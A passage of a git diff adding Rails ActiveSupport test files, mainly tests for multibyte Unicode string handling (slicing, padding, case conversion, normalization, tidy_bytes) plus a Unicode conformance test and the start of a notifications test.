+ assert chars('').tidy_bytes.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').swapcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ end
+
+ def test_should_be_equal_to_the_wrapped_string
+ assert_equal UNICODE_STRING, @chars
+ assert_equal @chars, UNICODE_STRING
+ end
+
+ def test_should_not_be_equal_to_an_other_string
+ assert_not_equal @chars, 'other'
+ assert_not_equal 'other', @chars
+ end
+
+ def test_sortability
+ words = %w(builder armor zebra).sort_by { |s| s.mb_chars }
+ assert_equal %w(armor builder zebra), words
+ end
+
+ def test_should_return_character_offset_for_regexp_matches
+ assert_nil(@chars =~ /wrong/u)
+ assert_equal 0, (@chars =~ /こ/u)
+ assert_equal 0, (@chars =~ /こに/u)
+ assert_equal 1, (@chars =~ /に/u)
+ assert_equal 2, (@chars =~ /ち/u)
+ assert_equal 3, (@chars =~ /わ/u)
+ end
+
+ def test_should_use_character_offsets_for_insert_offsets
+ assert_equal '', ''.mb_chars.insert(0, '')
+ assert_equal 'こわにちわ', @chars.insert(1, 'わ')
+ assert_equal 'こわわわにちわ', @chars.insert(2, 'わわ')
+ assert_equal 'わこわわわにちわ', @chars.insert(0, 'わ')
+ assert_equal 'わこわわわにちわ', @chars.wrapped_string
+ end
+
+ def test_insert_should_be_destructive
+ @chars.insert(1, 'わ')
+ assert_equal 'こわにちわ', @chars
+ end
+
+ def test_insert_throws_index_error
+ assert_raise(IndexError) { @chars.insert(-12, 'わ')}
+ assert_raise(IndexError) { @chars.insert(12, 'わ') }
+ end
+
+ def test_should_know_if_one_includes_the_other
+ assert @chars.include?('')
+ assert @chars.include?('ち')
+ assert @chars.include?('わ')
+ assert !@chars.include?('こちわ')
+ assert !@chars.include?('a')
+ end
+
+ def test_include_raises_when_nil_is_passed
+ @chars.include?(nil)
+ flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
+ rescue Exception
+ end
+
+ def test_index_should_return_character_offset
+ assert_nil @chars.index('u')
+ assert_equal 0, @chars.index('こに')
+ assert_equal 2, @chars.index('ち')
+ assert_equal 2, @chars.index('ち', -2)
+ assert_equal nil, @chars.index('ち', -1)
+ assert_equal 3, @chars.index('わ')
+ assert_equal 5, 'ééxééx'.mb_chars.index('x', 4)
+ end
+
+ def test_rindex_should_return_character_offset
+ assert_nil @chars.rindex('u')
+ assert_equal 1, @chars.rindex('に')
+ assert_equal 2, @chars.rindex('ち', -2)
+ assert_nil @chars.rindex('ち', -3)
+ assert_equal 6, 'Café périferôl'.mb_chars.rindex('é')
+ assert_equal 13, 'Café périferôl'.mb_chars.rindex(/\w/u)
+ end
+
+ def test_indexed_insert_should_take_character_offsets
+ @chars[2] = 'a'
+ assert_equal 'こにaわ', @chars
+ @chars[2] = 'ηη'
+ assert_equal 'こにηηわ', @chars
+ @chars[3, 2] = 'λλλ'
+ assert_equal 'こにηλλλ', @chars
+ @chars[1, 0] = "λ"
+ assert_equal 'こλにηλλλ', @chars
+ @chars[4..6] = "ηη"
+ assert_equal 'こλにηηη', @chars
+ @chars[/ηη/] = "λλλ"
+ assert_equal 'こλにλλλη', @chars
+ @chars[/(λλ)(.)/, 2] = "α"
+ assert_equal 'こλにλλαη', @chars
+ @chars["α"] = "¢"
+ assert_equal 'こλにλλ¢η', @chars
+ @chars["λλ"] = "ααα"
+ assert_equal 'こλにααα¢η', @chars
+ end
+
+ def test_indexed_insert_should_raise_on_index_overflow
+ before = @chars.to_s
+ assert_raise(IndexError) { @chars[10] = 'a' }
+ assert_raise(IndexError) { @chars[10, 4] = 'a' }
+ assert_raise(IndexError) { @chars[/ii/] = 'a' }
+ assert_raise(IndexError) { @chars[/()/, 10] = 'a' }
+ assert_equal before, @chars
+ end
+
+ def test_indexed_insert_should_raise_on_range_overflow
+ before = @chars.to_s
+ assert_raise(RangeError) { @chars[10..12] = 'a' }
+ assert_equal before, @chars
+ end
+
+ def test_rjust_should_raise_argument_errors_on_bad_arguments
+ assert_raise(ArgumentError) { @chars.rjust(10, '') }
+ assert_raise(ArgumentError) { @chars.rjust }
+ end
+
+ def test_rjust_should_count_characters_instead_of_bytes
+ assert_equal UNICODE_STRING, @chars.rjust(-3)
+ assert_equal UNICODE_STRING, @chars.rjust(0)
+ assert_equal UNICODE_STRING, @chars.rjust(4)
+ assert_equal " #{UNICODE_STRING}", @chars.rjust(5)
+ assert_equal " #{UNICODE_STRING}", @chars.rjust(7)
+ assert_equal "---#{UNICODE_STRING}", @chars.rjust(7, '-')
+ assert_equal "ααα#{UNICODE_STRING}", @chars.rjust(7, 'α')
+ assert_equal "aba#{UNICODE_STRING}", @chars.rjust(7, 'ab')
+ assert_equal "αηα#{UNICODE_STRING}", @chars.rjust(7, 'αη')
+ assert_equal "αηαη#{UNICODE_STRING}", @chars.rjust(8, 'αη')
+ end
+
+ def test_ljust_should_raise_argument_errors_on_bad_arguments
+ assert_raise(ArgumentError) { @chars.ljust(10, '') }
+ assert_raise(ArgumentError) { @chars.ljust }
+ end
+
+ def test_ljust_should_count_characters_instead_of_bytes
+ assert_equal UNICODE_STRING, @chars.ljust(-3)
+ assert_equal UNICODE_STRING, @chars.ljust(0)
+ assert_equal UNICODE_STRING, @chars.ljust(4)
+ assert_equal "#{UNICODE_STRING} ", @chars.ljust(5)
+ assert_equal "#{UNICODE_STRING} ", @chars.ljust(7)
+ assert_equal "#{UNICODE_STRING}---", @chars.ljust(7, '-')
+ assert_equal "#{UNICODE_STRING}ααα", @chars.ljust(7, 'α')
+ assert_equal "#{UNICODE_STRING}aba", @chars.ljust(7, 'ab')
+ assert_equal "#{UNICODE_STRING}αηα", @chars.ljust(7, 'αη')
+ assert_equal "#{UNICODE_STRING}αηαη", @chars.ljust(8, 'αη')
+ end
+
+ def test_center_should_raise_argument_errors_on_bad_arguments
+ assert_raise(ArgumentError) { @chars.center(10, '') }
+ assert_raise(ArgumentError) { @chars.center }
+ end
+
+ def test_center_should_count_characters_instead_of_bytes
+ assert_equal UNICODE_STRING, @chars.center(-3)
+ assert_equal UNICODE_STRING, @chars.center(0)
+ assert_equal UNICODE_STRING, @chars.center(4)
+ assert_equal "#{UNICODE_STRING} ", @chars.center(5)
+ assert_equal " #{UNICODE_STRING} ", @chars.center(6)
+ assert_equal " #{UNICODE_STRING} ", @chars.center(7)
+ assert_equal "--#{UNICODE_STRING}--", @chars.center(8, '-')
+ assert_equal "--#{UNICODE_STRING}---", @chars.center(9, '-')
+ assert_equal "αα#{UNICODE_STRING}αα", @chars.center(8, 'α')
+ assert_equal "αα#{UNICODE_STRING}ααα", @chars.center(9, 'α')
+ assert_equal "a#{UNICODE_STRING}ab", @chars.center(7, 'ab')
+ assert_equal "ab#{UNICODE_STRING}ab", @chars.center(8, 'ab')
+ assert_equal "abab#{UNICODE_STRING}abab", @chars.center(12, 'ab')
+ assert_equal "α#{UNICODE_STRING}αη", @chars.center(7, 'αη')
+ assert_equal "αη#{UNICODE_STRING}αη", @chars.center(8, 'αη')
+ end
+
+ def test_lstrip_strips_whitespace_from_the_left_of_the_string
+ assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.lstrip
+ assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.lstrip
+ assert_equal UNICODE_STRING + @whitespace, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.lstrip
+ end
+
+ def test_rstrip_strips_whitespace_from_the_right_of_the_string
+ assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.rstrip
+ assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.rstrip
+ assert_equal @whitespace + UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.rstrip
+ end
+
+ def test_strip_strips_whitespace
+ assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.strip
+ assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.strip
+ assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.strip
+ assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.strip
+ end
+
+ def test_stripping_whitespace_leaves_whitespace_within_the_string_intact
+ string_with_whitespace = UNICODE_STRING + @whitespace + UNICODE_STRING
+ assert_equal string_with_whitespace, string_with_whitespace.mb_chars.strip
+ assert_equal string_with_whitespace, string_with_whitespace.mb_chars.lstrip
+ assert_equal string_with_whitespace, string_with_whitespace.mb_chars.rstrip
+ end
+
+ def test_size_returns_characters_instead_of_bytes
+ assert_equal 0, ''.mb_chars.size
+ assert_equal 4, @chars.size
+ assert_equal 4, @chars.length
+ assert_equal 5, ASCII_STRING.mb_chars.size
+ end
+
+ def test_reverse_reverses_characters
+ assert_equal '', ''.mb_chars.reverse
+ assert_equal 'わちにこ', @chars.reverse
+ end
+
+ def test_reverse_should_work_with_normalized_strings
+ str = 'bös'
+ reversed_str = 'söb'
+ assert_equal chars(reversed_str).normalize(:kc), chars(str).normalize(:kc).reverse
+ assert_equal chars(reversed_str).normalize(:c), chars(str).normalize(:c).reverse
+ assert_equal chars(reversed_str).normalize(:d), chars(str).normalize(:d).reverse
+ assert_equal chars(reversed_str).normalize(:kd), chars(str).normalize(:kd).reverse
+ assert_equal chars(reversed_str).decompose, chars(str).decompose.reverse
+ assert_equal chars(reversed_str).compose, chars(str).compose.reverse
+ end
+
+ def test_slice_should_take_character_offsets
+ assert_equal nil, ''.mb_chars.slice(0)
+ assert_equal 'こ', @chars.slice(0)
+ assert_equal 'わ', @chars.slice(3)
+ assert_equal nil, ''.mb_chars.slice(-1..1)
+ assert_equal nil, ''.mb_chars.slice(-1, 1)
+ assert_equal '', ''.mb_chars.slice(0..10)
+ assert_equal 'にちわ', @chars.slice(1..3)
+ assert_equal 'にちわ', @chars.slice(1, 3)
+ assert_equal 'こ', @chars.slice(0, 1)
+ assert_equal 'ちわ', @chars.slice(2..10)
+ assert_equal '', @chars.slice(4..10)
+ assert_equal 'に', @chars.slice(/に/u)
+ assert_equal 'にち', @chars.slice(/に./u)
+ assert_equal nil, @chars.slice(/unknown/u)
+ assert_equal 'にち', @chars.slice(/(にち)/u, 1)
+ assert_equal nil, @chars.slice(/(にち)/u, 2)
+ assert_equal nil, @chars.slice(7..6)
+ end
+
+ def test_slice_bang_returns_sliced_out_substring
+ assert_equal 'にち', @chars.slice!(1..2)
+ end
+
+ def test_slice_bang_removes_the_slice_from_the_receiver
+ chars = 'úüù'.mb_chars
+ chars.slice!(0,2)
+ assert_equal 'ù', chars
+ end
+
+ def test_slice_should_throw_exceptions_on_invalid_arguments
+ assert_raise(TypeError) { @chars.slice(2..3, 1) }
+ assert_raise(TypeError) { @chars.slice(1, 2..3) }
+ assert_raise(ArgumentError) { @chars.slice(1, 1, 1) }
+ end
+
+ def test_ord_should_return_unicode_value_for_first_character
+ assert_equal 12371, @chars.ord
+ end
+
+ def test_upcase_should_upcase_ascii_characters
+ assert_equal '', ''.mb_chars.upcase
+ assert_equal 'ABC', 'aBc'.mb_chars.upcase
+ end
+
+ def test_downcase_should_downcase_ascii_characters
+ assert_equal '', ''.mb_chars.downcase
+ assert_equal 'abc', 'aBc'.mb_chars.downcase
+ end
+
+ def test_swapcase_should_swap_ascii_characters
+ assert_equal '', ''.mb_chars.swapcase
+ assert_equal 'AbC', 'aBc'.mb_chars.swapcase
+ end
+
+ def test_capitalize_should_work_on_ascii_characters
+ assert_equal '', ''.mb_chars.capitalize
+ assert_equal 'Abc', 'abc'.mb_chars.capitalize
+ end
+
+ def test_titleize_should_work_on_ascii_characters
+ assert_equal '', ''.mb_chars.titleize
+ assert_equal 'Abc Abc', 'abc abc'.mb_chars.titleize
+ end
+
+ def test_respond_to_knows_which_methods_the_proxy_responds_to
+ assert ''.mb_chars.respond_to?(:slice) # Defined on Chars
+ assert ''.mb_chars.respond_to?(:capitalize!) # Defined on Chars
+ assert ''.mb_chars.respond_to?(:gsub) # Defined on String
+ assert !''.mb_chars.respond_to?(:undefined_method) # Not defined
+ end
+
+ def test_method_works_for_proxyed_methods
+ assert_equal 'll', 'hello'.mb_chars.method(:slice).call(2..3) # Defined on Chars
+ chars = 'hello'.mb_chars
+ assert_equal 'Hello', chars.method(:capitalize!).call # Defined on Chars
+ assert_equal 'Hello', chars
+ assert_equal 'jello', 'hello'.mb_chars.method(:gsub).call(/h/, 'j') # Defined on String
+ assert_raise(NameError){ ''.mb_chars.method(:undefined_method) } # Not defined
+ end
+
+ def test_acts_like_string
+ assert 'Bambi'.mb_chars.acts_like_string?
+ end
+end
+
+# The default Multibyte Chars proxy has more features than the normal string implementation. Tests
+# for the implementation of these features should run on all Ruby versions and shouldn't be tested
+# through the proxy methods.
+class MultibyteCharsExtrasTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ def test_upcase_should_be_unicode_aware
+ assert_equal "АБВГД\0F", chars("аБвгд\0f").upcase
+ assert_equal 'こにちわ', chars('こにちわ').upcase
+ end
+
+ def test_downcase_should_be_unicode_aware
+ assert_equal "абвгд\0f", chars("аБвгд\0F").downcase
+ assert_equal 'こにちわ', chars('こにちわ').downcase
+ end
+
+ def test_swapcase_should_be_unicode_aware
+ assert_equal "аaéÜ\0f", chars("АAÉü\0F").swapcase
+ assert_equal 'こにちわ', chars('こにちわ').swapcase
+ end
+
+ def test_capitalize_should_be_unicode_aware
+ { 'аБвг аБвг' => 'Абвг абвг',
+ 'аБвг АБВГ' => 'Абвг абвг',
+ 'АБВГ АБВГ' => 'Абвг абвг',
+ '' => '' }.each do |f,t|
+ assert_equal t, chars(f).capitalize
+ end
+ end
+
+ def test_titleize_should_be_unicode_aware
+ assert_equal "Él Que Se Enteró", chars("ÉL QUE SE ENTERÓ").titleize
+ assert_equal "Абвг Абвг", chars("аБвг аБвг").titleize
+ end
+
+ def test_titleize_should_not_affect_characters_that_do_not_case_fold
+ assert_equal "日本語", chars("日本語").titleize
+ end
+
+ def test_limit_should_not_break_on_blank_strings
+ example = chars('')
+ assert_equal example, example.limit(0)
+ assert_equal example, example.limit(1)
+ end
+
+ def test_limit_should_work_on_a_multibyte_string
+ example = chars(UNICODE_STRING)
+ bytesize = UNICODE_STRING.bytesize
+
+ assert_equal UNICODE_STRING, example.limit(bytesize)
+ assert_equal '', example.limit(0)
+ assert_equal '', example.limit(1)
+ assert_equal 'こ', example.limit(3)
+ assert_equal 'こに', example.limit(6)
+ assert_equal 'こに', example.limit(8)
+ assert_equal 'こにち', example.limit(9)
+ assert_equal 'こにちわ', example.limit(50)
+ end
+
+ def test_limit_should_work_on_an_ascii_string
+ ascii = chars(ASCII_STRING)
+ assert_equal ASCII_STRING, ascii.limit(ASCII_STRING.length)
+ assert_equal '', ascii.limit(0)
+ assert_equal 'o', ascii.limit(1)
+ assert_equal 'oh', ascii.limit(2)
+ assert_equal 'ohay', ascii.limit(4)
+ assert_equal 'ohayo', ascii.limit(50)
+ end
+
+ def test_limit_should_keep_under_the_specified_byte_limit
+ example = chars(UNICODE_STRING)
+ (1..UNICODE_STRING.length).each do |limit|
+ assert example.limit(limit).to_s.length <= limit
+ end
+ end
+
+ def test_composition_exclusion_is_set_up_properly
+ # Normalization of DEVANAGARI LETTER QA breaks when composition exclusion isn't used correctly
+ qa = [0x915, 0x93c].pack('U*')
+ assert_equal qa, chars(qa).normalize(:c)
+ end
+
+ # Test for the Public Review Issue #29, bad explanation of composition might lead to a
+ # bad implementation: http://www.unicode.org/review/pr-29.html
+ def test_normalization_C_pri_29
+ [
+ [0x0B47, 0x0300, 0x0B3E],
+ [0x1100, 0x0300, 0x1161]
+ ].map { |c| c.pack('U*') }.each do |c|
+ assert_equal_codepoints c, chars(c).normalize(:c)
+ end
+ end
+
+ def test_normalization_shouldnt_strip_null_bytes
+ null_byte_str = "Test\0test"
+
+ assert_equal null_byte_str, chars(null_byte_str).normalize(:kc)
+ assert_equal null_byte_str, chars(null_byte_str).normalize(:c)
+ assert_equal null_byte_str, chars(null_byte_str).normalize(:d)
+ assert_equal null_byte_str, chars(null_byte_str).normalize(:kd)
+ assert_equal null_byte_str, chars(null_byte_str).decompose
+ assert_equal null_byte_str, chars(null_byte_str).compose
+ end
+
+ def test_simple_normalization
+ comp_str = [
+ 44, # LATIN CAPITAL LETTER D
+ 307, # COMBINING DOT ABOVE
+ 328, # COMBINING OGONEK
+ 323 # COMBINING DOT BELOW
+ ].pack("U*")
+
+ assert_equal_codepoints '', chars('').normalize
+ assert_equal_codepoints [44,105,106,328,323].pack("U*"), chars(comp_str).normalize(:kc).to_s
+ assert_equal_codepoints [44,307,328,323].pack("U*"), chars(comp_str).normalize(:c).to_s
+ assert_equal_codepoints [44,307,110,780,78,769].pack("U*"), chars(comp_str).normalize(:d).to_s
+ assert_equal_codepoints [44,105,106,110,780,78,769].pack("U*"), chars(comp_str).normalize(:kd).to_s
+ end
+
+ def test_should_compute_grapheme_length
+ [
+ ['', 0],
+ ['abc', 3],
+ ['こにちわ', 4],
+ [[0x0924, 0x094D, 0x0930].pack('U*'), 2],
+ [%w(cr lf), 1],
+ [%w(l l), 1],
+ [%w(l v), 1],
+ [%w(l lv), 1],
+ [%w(l lvt), 1],
+ [%w(lv v), 1],
+ [%w(lv t), 1],
+ [%w(v v), 1],
+ [%w(v t), 1],
+ [%w(lvt t), 1],
+ [%w(t t), 1],
+ [%w(n extend), 1],
+ [%w(n n), 2],
+ [%w(n cr lf n), 3],
+ [%w(n l v t), 2]
+ ].each do |input, expected_length|
+ if input.kind_of?(Array)
+ str = string_from_classes(input)
+ else
+ str = input
+ end
+ assert_equal expected_length, chars(str).grapheme_length
+ end
+ end
+
+ def test_tidy_bytes_should_tidy_bytes
+
+ single_byte_cases = {
+ "\x21" => "!", # Valid ASCII byte, low
+ "\x41" => "A", # Valid ASCII byte, mid
+ "\x7E" => "~", # Valid ASCII byte, high
+ "\x80" => "€", # Continuation byte, low (cp125)
+ "\x94" => "”", # Continuation byte, mid (cp125)
+ "\x9F" => "Ÿ", # Continuation byte, high (cp125)
+ "\xC0" => "À", # Overlong encoding, start of 2-byte sequence, but codepoint < 128
+ "\xC1" => "Á", # Overlong encoding, start of 2-byte sequence, but codepoint < 128
+ "\xC2" => "Â", # Start of 2-byte sequence, low
+ "\xC8" => "È", # Start of 2-byte sequence, mid
+ "\xDF" => "ß", # Start of 2-byte sequence, high
+ "\xE0" => "à", # Start of 3-byte sequence, low
+ "\xE8" => "è", # Start of 3-byte sequence, mid
+ "\xEF" => "ï", # Start of 3-byte sequence, high
+ "\xF0" => "ð", # Start of 4-byte sequence
+ "\xF1" => "ñ", # Unused byte
+ "\xFF" => "ÿ", # Restricted byte
+ "\x00" => "\x00" # null char
+ }
+
+ single_byte_cases.each do |bad, good|
+ assert_equal good, chars(bad).tidy_bytes.to_s
+ assert_equal "#{good}#{good}", chars("#{bad}#{bad}").tidy_bytes
+ assert_equal "#{good}#{good}#{good}", chars("#{bad}#{bad}#{bad}").tidy_bytes
+ assert_equal "#{good}a", chars("#{bad}a").tidy_bytes
+ assert_equal "#{good}á", chars("#{bad}á").tidy_bytes
+ assert_equal "a#{good}a", chars("a#{bad}a").tidy_bytes
+ assert_equal "á#{good}á", chars("á#{bad}á").tidy_bytes
+ assert_equal "a#{good}", chars("a#{bad}").tidy_bytes
+ assert_equal "á#{good}", chars("á#{bad}").tidy_bytes
+ end
+
+ byte_string = "\270\236\010\210\245"
+ tidy_string = [0xb8, 0x17e, 0x8, 0x2c6, 0xa5].pack('U*')
+ assert_equal_codepoints tidy_string, chars(byte_string).tidy_bytes
+ assert_nothing_raised { chars(byte_string).tidy_bytes.to_s.unpack('U*') }
+
+ # UTF-8 leading byte followed by too few continuation bytes
+ assert_equal_codepoints "\xc3\xb0\xc2\xa5\xc2\xa4\x21", chars("\xf0\xa5\xa4\x21").tidy_bytes
+ end
+
+ def test_tidy_bytes_should_forcibly_tidy_bytes_if_specified
+ byte_string = "\xF0\xA5\xA4\xA4" # valid as both CP-1252 and UTF-8, but with different interpretations.
+ assert_not_equal "𥤤", chars(byte_string).tidy_bytes
+ # Forcible conversion to UTF-8
+ assert_equal "𥤤", chars(byte_string).tidy_bytes(true)
+ end
+
+ def test_class_is_not_forwarded
+ assert_equal BYTE_STRING.dup.mb_chars.class, ActiveSupport::Multibyte::Chars
+ end
+
+ private
+
+ def string_from_classes(classes)
+ # Characters from the character classes as described in UAX #29
+ character_from_class = {
+ :l => 0x1100, :v => 0x1160, :t => 0x11A8, :lv => 0xAC00, :lvt => 0xAC01, :cr => 0x000D, :lf => 0x000A,
+ :extend => 0x094D, :n => 0x64
+ }
+ classes.collect do |k|
+ character_from_class[k.intern]
+ end.pack('U*')
+ end
+end
+
+class MultibyteInternalsTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ test "Chars translates a character offset to a byte offset" do
+ example = chars("Puisque c'était son erreur, il m'a aidé")
+ [
+ [0, 0],
+ [3, 3],
+ [12, 11],
+ [14, 13],
+ [41, 39]
+ ].each do |byte_offset, character_offset|
+ assert_equal character_offset, example.send(:translate_offset, byte_offset),
+ "Expected byte offset #{byte_offset} to translate to #{character_offset}"
+ end
+ end
+end
diff --git a/activesupport/test/multibyte_conformance.rb b/activesupport/test/multibyte_conformance.rb
new file mode 100644
index 0000000..2baf724
--- /dev/null
+++ b/activesupport/test/multibyte_conformance.rb
@@ -0,0 +1,129 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'multibyte_test_helpers'
+
+require 'fileutils'
+require 'open-uri'
+require 'tmpdir'
+
+class Downloader
+ def self.download(from, to)
+ unless File.exist?(to)
+ $stderr.puts "Downloading #{from} to #{to}"
+ unless File.exist?(File.dirname(to))
+ system "mkdir -p #{File.dirname(to)}"
+ end
+ open(from) do |source|
+ File.open(to, 'w') do |target|
+ source.each_line do |l|
+ target.write l
+ end
+ end
+ end
+ end
+ end
+end
+
+class MultibyteConformanceTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
+ UNIDATA_FILE = '/NormalizationTest.txt'
+ CACHE_DIR = File.join(Dir.tmpdir, 'cache')
+
+ def setup
+ FileUtils.mkdir_p(CACHE_DIR)
+ Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+ @proxy = ActiveSupport::Multibyte::Chars
+ end
+
+ def test_normalizations_C
+ each_line_of_norm_tests do |*cols|
+ col1, col2, col3, col4, col5, comment = *cols
+
+ # CONFORMANCE:
+ # 1. The following invariants must be true for all conformant implementations
+ #
+ # NFC
+ # c2 == NFC(c1) == NFC(c2) == NFC(c3)
+ assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
+ assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
+ assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
+ #
+ # c4 == NFC(c4) == NFC(c5)
+ assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_D
+ each_line_of_norm_tests do |*cols|
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFD
+ # c3 == NFD(c1) == NFD(c2) == NFD(c3)
+ assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
+ assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
+ assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
+ # c5 == NFD(c4) == NFD(c5)
+ assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_KC
+ each_line_of_norm_tests do | *cols |
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFKC
+ # c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
+ assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_KD
+ each_line_of_norm_tests do | *cols |
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFKD
+ # c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
+ assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
+ end
+ end
+
+ protected
+ def each_line_of_norm_tests(&block)
+ lines = 0
+ max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
+ File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f |
+ until f.eof? || (max_test_lines > 38 and lines > max_test_lines)
+ lines += 1
+ line = f.gets.chomp!
+ next if (line.empty? || line =~ /^\#/)
+
+ cols, comment = line.split("#")
+ cols = cols.split(";").map{|e| e.strip}.reject{|e| e.empty? }
+ next unless cols.length == 5
+
+ # codepoints are in hex in the test suite, pack wants them as integers
+ cols.map!{|c| c.split.map{|codepoint| codepoint.to_i(16)}.pack("U*") }
+ cols << comment
+
+ yield(*cols)
+ end
+ end
+ end
+
+ def inspect_codepoints(str)
+ str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
new file mode 100644
index 0000000..fdbe2f4
--- /dev/null
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -0,0 +1,19 @@
+# encoding: utf-8
+
+module MultibyteTestHelpers
+ UNICODE_STRING = 'こにちわ'
+ ASCII_STRING = 'ohayo'
+ BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT")
+
+ def chars(str)
+ ActiveSupport::Multibyte::Chars.new(str)
+ end
+
+ def inspect_codepoints(str)
+ str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
+ end
+
+ def assert_equal_codepoints(expected, actual, message=nil)
+ assert_equal(inspect_codepoints(expected), inspect_codepoints(actual), message)
+ end
+end
diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb
new file mode 100644
index 0000000..bec65da
--- /dev/null
+++ b/activesupport/test/multibyte_unicode_database_test.rb
@@ -0,0 +1,26 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+
+class MultibyteUnicodeDatabaseTest < ActiveSupport::TestCase
+
+ include ActiveSupport::Multibyte::Unicode
+
+ def setup
+ @ucd = UnicodeDatabase.new
+ end
+
+ UnicodeDatabase::ATTRIBUTES.each do |attribute|
+ define_method "test_lazy_loading_on_attribute_access_of_#{attribute}" do
+ @ucd.expects(:load)
+ @ucd.send(attribute)
+ end
+ end
+
+ def test_load
+ @ucd.load
+ UnicodeDatabase::ATTRIBUTES.each do |attribute|
+ assert @ucd.send(attribute).length > 1
+ end
+ end
+end
diff --git a/activesupport/test/notifications/evented_notification_test.rb b/activesupport/test/notifications/evented_notification_test.rb
new file mode 100644
index 0000000..f690ad4
--- /dev/null
+++ b/activesupport/test/notifications/evented_notification_test.rb
@@ -0,0 +1,87 @@
+require 'abstract_unit'
+
+module ActiveSupport
+ module Notifications
+ class EventedTest < ActiveSupport::TestCase
+ class Listener
+ attr_reader :events
+
+ def initialize
+ @events = []
+ end
+
+ def start(name, id, payload)
+ @events << [:start, name, id, payload]
+ end
+
+ def finish(name, id, payload)
+ @events << [:finish, name, id, payload]
+ end
+ end
+
+ class ListenerWithTimedSupport < Listener
+ def call(name, start, finish, id, payload)
+ @events << [:call, name, start, finish, id, payload]
+ end
+ end
+
+ def test_evented_listener
+ notifier = Fanout.new
+ listener = Listener.new
+ notifier.subscribe 'hi', listener
+ notifier.start 'hi', 1, {}
+ notifier.start 'hi', 2, {}
+ notifier.finish 'hi', 2, {}
+ notifier.finish 'hi', 1, {}
+
+ assert_equal 4, listener.events.length
+ assert_equal [
+ [:start, 'hi', 1, {}],
+ [:start, 'hi', 2, {}],
+ [:finish, 'hi', 2, {}],
+ [:finish, 'hi', 1, {}],
+ ], listener.events
+ end
+
+ def test_evented_listener_no_events
+ notifier = Fanout.new
+ listener = Listener.new
+ notifier.subscribe 'hi', listener
+ notifier.start 'world', 1, {}
+ assert_equal 0, listener.events.length
+ end
+
